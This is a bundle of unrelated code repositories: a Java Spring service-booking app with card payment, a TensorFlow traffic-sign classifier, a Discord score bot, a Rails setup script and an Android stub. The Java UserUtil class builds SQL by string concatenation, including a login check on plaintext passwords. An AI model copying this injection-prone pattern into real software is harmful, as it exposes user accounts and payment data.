book.setBook_wid(GlobalClass.worker_id); book.setBook_cid(GlobalClass.cid); BookingDetails.book_uid=GlobalClass.userId; BookingDetails.book_wid=GlobalClass.worker_id; BookingDetails.book_cid=GlobalClass.cid; BookingDetails.book_address=book.getBook_address(); BookingDetails.book_category=GlobalClass.category; BookingDetails.book_city=GlobalClass.city; BookingDetails.book_start_date=book.getBook_start_date(); BookingDetails.book_end_date=book.getBook_end_date(); BookingDetails.book_start_time=book.getBook_start_time(); BookingDetails.book_end_time=book.getBook_end_time(); BookingDetails.book_locality=book.getBook_locality(); BookingDetails.book_pincode=book.getBook_pincode(); //dao.addBooking(book); model.addAttribute("payment",new Payment()); //model.addAttribute("book", new Booking()); //System.out.println("1"); return "payment"; } @RequestMapping(value="paymentverification.htm", method = RequestMethod.POST) public String viewPaymentform(@ModelAttribute("payment")Payment payment,@ModelAttribute("book") Booking book,Model model) { //model.addAttribute("book", new Booking()); //System.out.println("1"); //System.out.println("hello"); Booking b=new Booking(); b.setBook_address(BookingDetails.book_address); b.setBook_cid(BookingDetails.book_cid); b.setBook_end_date(BookingDetails.book_end_date); b.setBook_start_date(BookingDetails.book_start_date); b.setBook_start_time(BookingDetails.book_start_time); b.setBook_end_time(BookingDetails.book_end_time); b.setBook_uid(GlobalClass.userId); b.setBook_locality(BookingDetails.book_locality); b.setBook_pincode(BookingDetails.book_pincode); b.setBook_wid(BookingDetails.book_wid); if(dao.paymentverify(payment.getAccount_no(),payment.getExp_month(),payment.getExp_year(),payment.getCcv(),payment.getMoney())){ dao.paymentCutting(payment.getUser_id(),payment.getWorker_id(),payment.getMoney(),payment.getAccount_no()); dao.updateMoneyInCard(payment.getAccount_no(), payment.getExp_month(), payment.getExp_year(), payment.getCcv(), payment.getMoney()); dao.addBooking(b); return "ThankYou"; } return "err"; } } <file_sep>package com.square.entity; public class Booking { private int bid; private int book_uid; private int book_wid; private int book_cid; private String book_start_date; private String book_end_date; private String book_start_time; private String book_end_time; private String book_locality; private String book_address; private String book_pincode; public int getBid() { return bid; } public void setBid(int bid) { this.bid = bid; } public int getBook_uid() { return book_uid; } public void setBook_uid(int book_uid) { this.book_uid = book_uid; } public int getBook_wid() { return book_wid; } public void setBook_wid(int book_wid) { this.book_wid = book_wid; } public int getBook_cid() { return book_cid; } public void setBook_cid(int book_cid) { this.book_cid = book_cid; } public String getBook_start_date() { return book_start_date; } public void setBook_start_date(String book_start_date) { this.book_start_date = book_start_date; } public String getBook_end_date() { return book_end_date; } public void setBook_end_date(String book_end_date) { this.book_end_date = book_end_date; } public String getBook_start_time() { return book_start_time; } public void setBook_start_time(String book_start_time) { this.book_start_time = book_start_time; } public String getBook_end_time() { return book_end_time; } public void setBook_end_time(String book_end_time) { this.book_end_time = book_end_time; } public String getBook_locality() { return book_locality; } public void setBook_locality(String book_locality) { this.book_locality = book_locality; } public String getBook_address() { return book_address; } public void setBook_address(String book_address) { this.book_address = book_address; } public String getBook_pincode() { return book_pincode; } public void setBook_pincode(String book_pincode) { this.book_pincode = book_pincode; } } <file_sep>package com.square.dao; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; import java.util.ResourceBundle; import com.square.entity.Booking; import com.square.entity.BookingDetails; import com.square.entity.GlobalClass; public abstract class UserUtil { private static ResourceBundle rb; static { try { rb=ResourceBundle.getBundle("square"); Class.forName(rb.getString("driver")); } catch (ClassNotFoundException e) { e.printStackTrace(); } } public static Connection getConn() throws SQLException { String url=rb.getString("url"); String uname=rb.getString("uname"); Connection conn=DriverManager.getConnection(url,uname,""); return conn; } public static void closeConn(Connection conn) { if (conn != null) { try { conn.close(); } catch (SQLException e) { e.printStackTrace(); } } } public static int validateUser(String Username,String Password) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); ResultSet results=stmt.executeQuery("select count(*) from user where email='"+Username+"' and password='"+Password+"'"); while(results.next()) { int id=results.getInt(1); return id; } } catch (SQLException e) { e.printStackTrace(); } finally{ UserUtil.closeConn(conn); } return 0; } public static void cancelBooking(int bid) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); stmt.execute("delete from booking where booking_id='"+bid+"'"); } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } } public static void addInMain(int workerid) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); stmt.execute("insert into worker(worker_name,worker_contact_no,worker_category,worker_sex,worker_dob,worker_exp,worker_startdate,"+ "worker_enddate,worker_ranking,worker_starttime,worker_endtime,worker_avail,worker_rent,worker_image,worker_language,worker_rcount,city,locality)select worker_name,worker_contact_no,worker_category,worker_sex,worker_dob,worker_exp,worker_startdate,"+ "worker_enddate,worker_ranking,worker_starttime,worker_endtime,worker_avail,worker_rent,worker_image,worker_language,worker_rcount,city,locality from rawworker where worker_id='"+workerid+"'"); //System.out.println(results.getString(0)); stmt.execute("delete from rawworker where worker_id='"+workerid+"'"); } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } } public static int fetchUserId(String Username) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); ResultSet results=stmt.executeQuery("select * from user where email='"+Username+"'"); //System.out.println(results.getString(0)); while(results.next()) { int id=results.getInt(1); return id; } } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } return 0; } public static int getCategoryId(String category) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); ResultSet results=stmt.executeQuery("select cid from categoryname where category='"+category+"'"); //System.out.println(results.getString(0)); while(results.next()) { int categoryid=results.getInt(1); return categoryid; } } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } return 0; } public static void addInCategory(int categoryId, int workerid, String city, String locality) { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); stmt.execute("insert into category values("+categoryId+","+workerid+",'"+city+"','"+locality+"')"); } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } } public static void addBooking() { Connection conn=null; try { conn = UserUtil.getConn(); Statement stmt= conn.createStatement(); Booking b=new Booking(); b.setBook_address(BookingDetails.book_address); b.setBook_cid(BookingDetails.book_cid); b.setBook_end_date(BookingDetails.book_end_date); b.setBook_start_date(BookingDetails.book_start_date); b.setBook_start_time(BookingDetails.book_start_time); b.setBook_end_time(BookingDetails.book_end_time); b.setBook_uid(GlobalClass.userId); b.setBook_locality(BookingDetails.book_locality); b.setBook_pincode(BookingDetails.book_pincode); b.setBook_wid(BookingDetails.book_wid); String query="insert into booking values("+BookingDetails.book_uid+","+BookingDetails.book_wid+",'"+BookingDetails.book_start_date+"','"+BookingDetails.book_end_date+"','" +BookingDetails.book_start_time+"','"+BookingDetails.book_end_time+"',"+BookingDetails.book_cid+",'"+BookingDetails.book_locality+"','"+BookingDetails.book_address+"','" +BookingDetails.book_pincode+"','','"+BookingDetails.book_city+"')"; stmt.execute(query); } catch (SQLException e) { e.printStackTrace(); } finally { UserUtil.closeConn(conn); } } }
7790181d84836e3c8e032d56e4f7a0829f2a2231
[ "Java", "INI" ]
7
Java
achintya24/ServiceSquare
8ed4cf238e298625d4dc17f67a72dfe8865962aa
31b0e4abf47e8292b37cf48e449339f4da7bce8e
refs/heads/master
<repo_name>ProperElite/ScoreBot-TurtleWars<file_sep>/Main.py import discord import asyncio import pickle import time import random import sqlite3 client = discord.Client() f = open("config","r") fr = f.read().split("\n") @client.event async def on_ready(): print("logged in as {}".format(client.user.name)) print("____________________________________") hep = """ **!leaderboard** **!score <kills> <win? yes/no> <@hostname> [image]** providing an image will help with verification **!approve <@person>** **!decline <user>** **!stats** **!help** **!setup** admin first time setup **!editpoints <user> <kills> <wins> <games>** """ async def removeRoles(message): await client.remove_roles(message.author, discord.util.get(message.server.roles, name=fr[1][fr[1].find("intermediate: ")+len("token: ")::])) await client.remove_roles(message.author, discord.util.get(message.server.roles, name=fr[2][fr[2].find("experienced: ")+len("token: ")::])) await client.remove_roles(message.author, discord.util.get(message.server.roles, name=fr[3][fr[3].find("advance: ")+len("token: ")::])) await client.remove_roles(message.author, discord.util.get(message.server.roles, name=fr[4][fr[4].find("expert: ")+len("token: ")::])) await client.remove_roles(message.author, discord.util.get(message.server.roles, name=fr[5][fr[5].find("unbeatable: ")+len("token: ")::])) def custom_sort(t): return (t[1]*4+t[2])/t[5] @client.event async def on_message(message): d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() c.execute("SELECT * FROM rm WHERE user = ?",(message.author.id,)) dlata = c.fetchall() #stuffs try: sa = data[z][1]*4+data[z][2]/data[z][5] if sa >=10: removeRoles(message) await client.add_roles(message.author, discord.util.get(message.server.roles, name=fr[5][fr[5].find("unbeatable: ")+len("unbeatable: ")::])) elif sa >=8 and sa <10: removeRoles(message) await client.add_roles(message.author, discord.util.get(message.server.roles, name=fr[4][fr[4].find("expert: ")+len("expert: ")::])) elif sa >=6 and sa <8: removeRoles(message) await client.add_roles(message.author, discord.util.get(message.server.roles, name=fr[3][fr[3].find("advance: ")+len("advance: ")::])) elif sa >=4 and sa <6: removeRoles(message) await client.add_roles(message.author, discord.util.get(message.server.roles, name=fr[2][fr[2].find("experienced: ")+len("experienced: ")::])) elif sa >=2 and sa <4: removeRoles(message) client.add_roles(message.author, discord.util.get(message.server.roles, name=fr[1][fr[1].find("intermediate: ")+len("intermediate: ")::])) except: None #commands if message.content =="!stats": d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() x = message.content.split(" ") c.execute("SELECT * FROM rm WHERE user = ?",(message.author.id,)) data = c.fetchall() z= 0 await client.send_message(message.channel,"Wins: {} \n Games: {} \n Kills: {} \n Score: {} \n Average Score: {}".format(str(data[z][1]),str(data[z][3]),str(data[z][2]),str((data[z][1]*4+data[z][2])),str((data[z][1]*4+data[z][2])/data[z][5]))) if message.content =="!leaderboard": d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() x = message.content.split(" ") c.execute("SELECT * FROM rm ") data = c.fetchall() data.sort(key=custom_sort) l = [] em = discord.Embed(title="", description="",color=0x00ff00) for z in range(0,26): try: l.append([data[z][4],"\t Wins: {} \n \t Games: {} \n \t Kills: {} \n \t Score: {} \n \t Average Score: {}".format(str(data[z][1]),str(data[z][3]),str(data[z][2]),str((data[z][1]*4+data[z][2])),str((data[z][1]*4+data[z][2])/data[z][5]))]) except: None print(l) l.reverse() for c,z in enumerate(l): em.add_field(name=str(c+1)+") "+z[0], value=z[1], inline=False) em.set_author(name="Leaderboard") await client.send_message(message.channel, embed=em) if message.content.startswith("!decline"): d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() x = message.content.split(" ") c.execute("SELECT * FROM urm WHERE user = ?",(x[1][2:-1],)) data = c.fetchall() g= 0 for y in data: if message.author.id == y[3][2:-1] and fr[6][fr[6].find("host: ")+len("host: ")::] in [y.id for y in message.author.roles]: c.execute("DELETE FROM urm WHERE user = ? AND host =?",(x[1][2:-1],y[3])) d.commit() await client.send_message(message.channel,"{} Your score has been processed, and has been declined. This may be due to your command having a false score input or missing an image.".format(x[1])) if message.content.startswith("!approve "): d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() x = message.content.split(" ") c.execute("SELECT * FROM urm WHERE user = ?",(x[1][2:-1],)) #await client.send_message(message.channel,) data = c.fetchall() g= 0 for y in data: if message.author.id == y[3][2:-1] and fr[6][fr[6].find("host: ")+len("host: ")::] in [y.id for y in message.author.roles]: c.execute("SELECT * FROM rm WHERE user = ?",(x[1][2:-1],)) g = c.fetchall() m=0 c.execute("SELECT * FROM rm WHERE user = ?",(x[1][2:-1],)) g = c.fetchall() try: c.execute("SELECT * FROM rm WHERE user = ?",(x[1][2:-1],)) g = c.fetchall() m=0 if y[1] =="yes": m+=1 try: c.execute("UPDATE rm SET wins = ? WHERE user = ?",(g[0][1]+m,x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET kills = ? WHERE user = ?",(g[0][2]+y[2],x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET games = ? WHERE user = ?",(g[0][3]+1,x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET aproves = ? WHERE user = ?",(g[0][5]+1,x[1][2:-1] )) d.commit() except: c.execute("INSERT INTO rm (user,wins,kills,games,name,aproves) VALUES (?,?,?,?,?,?)",(x[1][2:-1],m,y[2],1,y[4],1)) d.commit() except: None #try: print(x[1][2:-1]) c.execute("DELETE FROM urm WHERE user = ? AND host =?",(x[1][2:-1],y[3])) d.commit() #except: #None await client.send_message(message.channel,"{} Your score has been processed, and has been approved".format(x[1])) if message.content.startswith("!help"): await client.send_message(message.channel,hep) if message.content.startswith("!points "): x = message.content.split(" ") d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() try: c.execute("DELETE FROM urm Where user = ?",(str(message.author.id),)) d.commit() except: None try: c.execute("INSERT INTO urm (user,win,kills,host,name) VALUES (?,?,?,?,?)",(str(message.author.id),x[2],int(x[1]),x[3],str(message.author.name))) d.commit() await client.send_message(message.channel,"```Your score is now being proccessed, please wait.```") except: await client.send_message(message.channel,"```please add the proper peramiters. !help```") if message.content == "!setup": if message.author.server_permissions.administrator: d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() c.execute("CREATE TABLE IF NOT EXISTS urm (user TEXT,win TEXT,kills INT,host TEXT,name TEXT)")#unregistered messages c.execute("CREATE TABLE IF NOT EXISTS rm (user TEXT ,wins INT,kills INT,games INT, name TEXT,aproves INT)")#registered messages await client.send_message(message.channel,"```thank you for registering!```") if message.content.startswith("!editscore"): if message.author.server_permissions.administrator: x = message.content.split(" ") d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() c.execute("SELECT * FROM rm WHERE user = ?",(x[1][2:-1],)) g = c.fetchall() c.execute("UPDATE rm SET kills = ? WHERE user = ?",(g[0][2]+int(x[2]),x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET wins = ? WHERE user = ?",(g[0][1]+int(x[3]),x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET games = ? WHERE user = ?",(g[0][3]+int(x[4]),x[1][2:-1] )) d.commit() if message.content.startswith("!clearpoints"): if message.author.server_permissions.administrator: x = message.content.split(" ") d = sqlite3.connect("{}.db".format(str(message.server.id))) c = d.cursor() c.execute("UPDATE rm SET kills = ? WHERE user = ?",(0,x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET wins = ? WHERE user = ?",(0,x[1][2:-1] )) d.commit() c.execute("UPDATE rm SET games = ? WHERE user = ?",(0,x[1][2:-1] )) d.commit() await client.send_message(message.channel, "cleared!") x = fr[0][fr[0].find("token: ")+len("token: ")::] client.run(x) #*looks up regex* not know what it is
44cbe61ddd24f54d3fac9c1829b303ed95476338
[ "Python" ]
1
Python
ProperElite/ScoreBot-TurtleWars
712f67c533c38b98b90c281a10f37ecbdfce2042
8f8256cc4f5868ff16c7b88d8a03f260144792a9
refs/heads/master
<repo_name>patmcnally/utility_scripts<file_sep>/railify #!/usr/bin/env ruby # Generate a rails app (using EDGE rails), set up a git repo for it, install GemsOnRails, # haml, rspec, and make_resourceful # # USAGE: $0 some_app_name # # See http://github.com/foca/utility_scripts/ for the latest version # Released under a WTFP license (http://sam.zoy.org/wtfpl/) RAILS_GIT_CHECKOUT = '/Users/pat/Projects/Rails/git_clones/rails' module Helpers LINE = 80 def announcing(msg) print msg begin yield rescue print "." * (LINE - msg.size - 8) puts "\e[31m[FAILED]\e[0m" Process.exit return end print "." * (LINE - msg.size - 6) puts "\e[32m[DONE]\e[0m" end def silent(command) unless(system("#{command} &> /dev/null")) raise "Command Failed" end end def templates { :gitignore => %w[config/database.yml tmp/* log/*.log db/*.sqlite3 public/stylesheets/application.css] * "\n", :routes => ["ActionController::Routing::Routes.draw do |map|", "end"] * "\n" } end def gitci(message) silent 'git add .' silent "git commit -m '#{message}'" end def braid(repo, dir, type="git") silent "braid add #{repo} --type #{type} #{dir}" silent "git merge braid/track" end def rake(task, args={}) args = args.map {|name,value| "#{name.to_s.upcase}=#{value}"}.join(" ") silent "rake #{task} #{args}" end def gitsub(repo, dir) silent "git submodule add #{repo} #{dir}" end end if __FILE__ == $0 include Helpers app_name = ARGV.first announcing "Updating EDGE rails (git pull)" do Dir.chdir(RAILS_GIT_CHECKOUT) { silent "git pull" } end announcing "Creating application layout" do silent "rails '#{app_name}'" end Dir.chdir(app_name) do announcing "Setting up rails app" do silent "rm README" silent "rm public/index.html" silent "rm log/*.log" silent "rm public/images/rails.png" silent "cp config/database.{,sample.}yml" end announcing "Creating databases" do rake "db:create" rake "db:create", :rails_env => "test" end announcing "Configuring git repo" do silent "git init" File.open(".gitignore", "w") {|f| f << templates[:gitignore] } silent "touch {tmp,log}/.gitignore" gitci "Basic rails app structure" end announcing "Freezing rails" do rake "rails:freeze:gems" #silent "git submodule add git://github.com/rails/rails.git vendor/rails" #silent "git submodule init" end announcing "Installing haml" do silent "haml --rails ." rake "gems:freeze", :gem => "haml" gitci "Froze haml gem and plugin" end announcing "Installing Shoulda" do silent "git submodule add git://github.com/thoughtbot/shoulda.git vendor/plugins/shoulda" silent "git submodule init" end # announcing "Installing RSpec" do # silent "git submodule add git://github.com/dchelimsky/rspec.git vendor/plugins/rspec" # silent "git submodule add git://github.com/dchelimsky/rspec-rails.git vendor/plugins/rspec-rails" # silent "git submodule init" # end # announcing "Generating RSpec base files" do # silent "script/generate rspec" # gitci "Added RSpec base files" # end # announcing "Installing make_resourceful" do # silent "git submodule add git://github.com/jcfischer/make_resourceful.git vendor/plugins/make_resourceful" # silent "git submodule init" # gitci "Installed make_resourceful plugin" # end # announcing "Installing sexy_scaffold" do # silent "git submodule add git://github.com/dfischer/sexy_scaffold.git vendor/plugins/sexy_scaffold" # silent "git submodule init" # gitci "Installed sexy_scaffold plugin" # end # announcing "Installing rspec_on_crack" do # silent "git submodule add git://github.com/technoweenie/rspec_on_rails_on_crack.git vendor/plugins/rspec_on_rails_on_crack" # silent "git submodule init" # gitci "Installed rspec_on_crack plugin" # end # announcing "Installing acts_as_list" do # silent "git submodule add git://github.com/veilleperso/acts_as_list.git vendor/plugins/acts_as_list" # silent "git submodule init" # gitci "Installed acts_as_list plugin" # end # announcing "Installing acts_as_state_machine" do # silent "git submodule add git://github.com/omghax/acts_as_state_machine.git vendor/plugins/acts_as_state_machine" # silent "git submodule init" # gitci "Installed acts_as_state_machine plugin" # end # announcing "Installing restful-authentication" do # silent "git submodule add git://github.com/technoweenie/restful-authentication.git vendor/plugins/restful-authentication" # silent "git submodule init" # gitci "Installed restful-authentication plugin" # end # announcing "Installing auto_migrations" do # silent "git submodule add git://github.com/pjhyett/auto_migrations.git vendor/plugins/auto_migrations" # silent "git submodule init" # gitci "Installed auto_migrations plugin" # end end end
cc07be4ec677d214a0971ece4cbfcc80801250fe
[ "Ruby" ]
1
Ruby
patmcnally/utility_scripts
1f4914410916be007f154531727386e3a7519b8f
c3078d613786587f5f4c433e48e8f9e44cda3923
refs/heads/master
<repo_name>Caesar-8C/Traffic-Sign-Classifier<file_sep>/test.py import tensorflow as tf import numpy as np import pickle from scipy.special import softmax import cv2 import glob test_orig = pickle.load(open( 'trafsignsDataset/test.p', 'rb')) test = test_orig.copy() test['features'] = (( test['features'].astype(np.int)-128)/128) model = tf.keras.models.load_model('models/model3') result = model.predict(test['features']) result = softmax(result, axis=1) tp = np.array([0 for _ in range(43)]) fp = np.array([0 for _ in range(43)]) fn = np.array([0 for _ in range(43)]) for i in range(result.shape[0]): s = sorted(result[i], reverse=True) print('===================================') print('i: ', i, ', label: ', test['labels'][i], end='') for j in range(5): guess = np.argwhere(result[i]==s[j])[0,0] if j == 0: if guess == test['labels'][i]: tp[guess] += 1 else: fp[guess] += 1 fn[test['labels'][i]] += 1 print(', guess: ', str(guess)) if guess < 10: guesstr = ' ' + str(guess) else: guesstr = str(guess) print(j+1, 'th guess is ' + guesstr + ', prob: ' + str(round(s[j], 2))) print('===================================') img = cv2.cvtColor(test_orig['features'][i], cv2.COLOR_RGB2BGR) cv2.destroyAllWindows() print('Test accuracy: ', round(np.sum(tp)/test['features'].shape[0]*100, 2), '%') print('Precision and Recall for all classes:') for i in range(43): P = tp[i]/(tp[i]+fp[i]) R = tp[i]/(tp[i]+fn[i]) print('Class ', i, ' P = ', round(P, 2), 'R = ', round(R, 2))<file_sep>/augmenter.py import tensorflow as tf import numpy as np import pickle train = pickle.load(open('trafsignsDataset/train.p', 'rb')) augmented = [] labels = [] for i in range(train['features'].shape[0]): image = train['features'][i] augmented.append(tf.image.random_saturation(image, 3, 5)) augmented.append(tf.image.random_brightness(image, 0.2)) labels.append(train['labels'][i]) labels.append(train['labels'][i]) print(i, '/', train['features'].shape[0]-1) augmented = np.array(augmented) labels = np.array(labels) train['features'] = np.append(train['features'], augmented, axis=0) train['labels'] = np.append(train['labels'], labels) pickle.dump(train, open('trafsignsDataset/train_augmented.p', 'wb'))<file_sep>/main.py import tensorflow as tf from tensorflow.keras.layers import Dense, Flatten, Conv2D, MaxPooling2D from tensorflow.keras import Model import numpy as np import pickle train = pickle.load(open('trafsignsDataset/train_augmented.p', 'rb')) valid = pickle.load(open('trafsignsDataset/valid.p', 'rb')) train['features'] = ((train['features'].astype(np.int)-128)/128) valid['features'] = ((valid['features'].astype(np.int)-128)/128) train_ds = tf.data.Dataset.from_tensor_slices( (train['features'], train['labels'])).shuffle(100000).batch(32) test_ds = tf.data.Dataset.from_tensor_slices( (valid['features'], valid['labels'])).batch(32) class MyModel(Model): def __init__(self): super(MyModel, self).__init__() self.conv1 = Conv2D(32, 5, activation='relu') self.pool1 = MaxPooling2D() self.conv2 = Conv2D(32, 3, activation='relu') self.pool2 = MaxPooling2D() self.flatten = Flatten() self.d1 = Dense(512, activation='relu') self.d2 = Dense(256, activation='relu') self.d3 = Dense(43) def call(self, x): x = self.conv1(x) x = self.pool1(x) x = self.conv2(x) x = self.pool2(x) x = self.flatten(x) x = self.d1(x) x = self.d2(x) return self.d3(x) model = MyModel() # model = tf.keras.models.load_model('models/model2') loss_object = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True) optimizer = tf.keras.optimizers.Adam(learning_rate=0.0001) train_loss = tf.keras.metrics.Mean(name='train_loss') train_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='train_accuracy') test_loss = tf.keras.metrics.Mean(name='test_loss') test_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='test_accuracy') @tf.function def train_step(images, labels): with tf.GradientTape() as tape: predictions = model(images, training=True) loss = loss_object(labels, predictions) gradients = tape.gradient(loss, model.trainable_variables) optimizer.apply_gradients(zip(gradients, model.trainable_variables)) train_loss(loss) train_accuracy(labels, predictions) @tf.function def test_step(images, labels): predictions = model(images, training=False) t_loss = loss_object(labels, predictions) test_loss(t_loss) test_accuracy(labels, predictions) EPOCHS = 30 for epoch in range(EPOCHS): for fun in [train_loss, train_accuracy, test_loss, test_accuracy]: fun.reset_states() for images, labels in train_ds: train_step(images, labels) for test_images, test_labels in test_ds: test_step(test_images, test_labels) template = 'Epoch {}, Loss: {}, Accuracy: {}, Validation Loss: {}, Validation Accuracy: {}' print(template.format(epoch, train_loss.result(), train_accuracy.result(), test_loss.result(), test_accuracy.result())) model.save('models/model4')<file_sep>/README.md # Traffic Sign Classifier ![random sign image][image0] This project is a neural network that performs classification on a dataset of German traffic signs. [image0]: ./imgs/14.png [image1]: ./imgs/CNN.png [image2]: ./imgs/wrong.png [image3]: ./imgs/correct.png [image4]: ./imgs/27.png ## Prerequisites * python3 * numpy * glob * tensorflow * pickle * scipy * cv2 ## Project Structure * augmenter.py: augments training data * main.py: creates, trains and saves the model * test.py: analyzes model performance using test data * trafsignsDataset/classes: contains examples of all signs presented in the dataset * trafsignsDataset/myImgs: images I took myself to test the model * models/: contains trained model that was tested ## Project Description ### Dataset German Traffic Sign Dataset: http://benchmark.ini.rub.de/?section=gtsrb&subsection=dataset This dataset contains 43 classes of German traffic signs. Each sample contains an image and its label. The images are cropped to contain mostly the sign, but some background is present. Images are taken in different light conditions and the signs vary in blurriness. ### Data Augmentation To train a neural network one needs a large dataset and no dataset is large enough. In order to increase the number of training samples we use data augmentation. It is done by adding for each sample from the dataset two modified samples: * randomized saturation, using `tf.image.random_saturation` * randomized brightness, using `tf.image.random_brightness` When training model on augmented data resulting accuracy is approximately 0.5% higher. ### Data Preparation For the network to work stable with images, 0 to 255 integer values for color were rescaled to be floats from -1 to 1. ### Model Structure Layers: * Input Layer * Convolution Layer with 32 filters and kernel size 5 * MaxPooling Layer with pool size 2x2 * Convolution Layer with 32 filters and kernel size 3 * MaxPooling Layer with pool size 2x2 * Dense Layer with 512 neurons * Dense Layer with 256 neurons * Output Dense Layer with 43 neurons ![model schematic][image1] Trial and error method was used to come up with this model. It showed the highest accuracy on the test set. ### Hyperparameters Following parameters were chosen: * Learning rate: 0.0001 * Number of epochs: 30 * Batch size: 32 * Activation function: RELU * Loss: Sparse Categorical Crossentropy * Optimizer: Adam ### Testing Example of correct classification (test image, first guess): ![correct][image3] ``` =================================== i: 10273 , label: 38, guess: 38 1 th guess is 38, prob: 1.0 2 th guess is 34, prob: 0.0 3 th guess is 36, prob: 0.0 4 th guess is 13, prob: 0.0 5 th guess is 9, prob: 0.0 =================================== ``` Softmax probability of 1.0 shows that the model is sure about the guess. Example of wrong classification (test image, first guess, second guess): ![wrong][image2] ``` =================================== i: 12563 , label: 30, guess: 21 1 th guess is 21, prob: 0.47 2 th guess is 30, prob: 0.36 3 th guess is 11, prob: 0.07 4 th guess is 23, prob: 0.07 5 th guess is 19, prob: 0.02 =================================== ``` In this case, the model was not sure about its prediction and unfortunately a wrong guess got slightly higher probability. Total accuracy: ``` Test accuracy: 93.14 % ``` Precision and Recall for all classes: ``` Class 0 P = 0.96 R = 0.77 Class 1 P = 0.89 R = 0.98 Class 2 P = 0.91 R = 0.98 Class 3 P = 0.94 R = 0.94 Class 4 P = 0.96 R = 0.95 Class 5 P = 0.93 R = 0.9 Class 6 P = 0.99 R = 0.78 Class 7 P = 0.97 R = 0.83 Class 8 P = 0.9 R = 0.92 Class 9 P = 0.98 R = 0.97 Class 10 P = 0.97 R = 0.99 Class 11 P = 0.86 R = 0.94 Class 12 P = 1.0 R = 0.99 Class 13 P = 0.98 R = 0.99 Class 14 P = 1.0 R = 0.92 Class 15 P = 0.99 R = 0.93 Class 16 P = 0.99 R = 0.99 Class 17 P = 0.99 R = 0.99 Class 18 P = 0.9 R = 0.83 Class 19 P = 0.8 R = 0.98 Class 20 P = 0.94 R = 0.92 Class 21 P = 0.75 R = 0.66 Class 22 P = 0.92 R = 0.88 Class 23 P = 0.82 R = 0.95 Class 24 P = 0.71 R = 0.68 Class 25 P = 0.91 R = 0.89 Class 26 P = 0.77 R = 0.8 Class 27 P = 0.58 R = 0.5 Class 28 P = 0.97 R = 0.89 Class 29 P = 0.83 R = 0.97 Class 30 P = 0.98 R = 0.52 Class 31 P = 0.9 R = 0.96 Class 32 P = 0.67 R = 1.0 Class 33 P = 0.96 R = 0.97 Class 34 P = 0.77 R = 0.99 Class 35 P = 1.0 R = 0.95 Class 36 P = 0.97 R = 0.96 Class 37 P = 1.0 R = 0.98 Class 38 P = 0.97 R = 0.97 Class 39 P = 0.93 R = 0.96 Class 40 P = 0.89 R = 0.94 Class 41 P = 0.82 R = 0.9 Class 42 P = 0.99 R = 0.88 ``` Precision and recall show that class 27 was the hardest to classify correctly: ![person_in_a_triangle][image4] Total accuracy on own images: ``` Test accuracy: 80.0 % ``` Bicycle on image 02 and 5 on image 09 were not classified correctly. Given so few images from own dataset we can say that accuracies are comparable. ### Problems and Solutions * The network does not analyze traffic signs, it analyzes 32x32 images of signs. Which means the prediction is affected by the background. A solution could be to use another network for sign detection that would find patterns like circles, squares and triangles and send only the region of interest to the classification network.
d4b6834c3ddd57920b1911ad80f78a1eaf5a3fcf
[ "Markdown", "Python" ]
4
Python
Caesar-8C/Traffic-Sign-Classifier
e1d6e5d07a34776c2fd81866c096d8cd414cc51c
d6eea6ee6d8108447fa84b1bff241c20a9c1fd09
refs/heads/master
<file_sep>package mlevytskiy.com.androidloggersample; import android.app.Activity; import android.os.Bundle; import hugo.weaving.DebugLog; @DebugLog public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); test(); } public String test() { return "test"; } }
abe759d9b0039e224e998247cb055a24964fa2e3
[ "Java" ]
1
Java
mlevytskiy/AndroidLoggerSample
2dfce7054a66e98f9b4c56507a55d6dd8c7d9fa9
d4dfbda58e6a25261115d4d4294c94a201f829bb
refs/heads/master
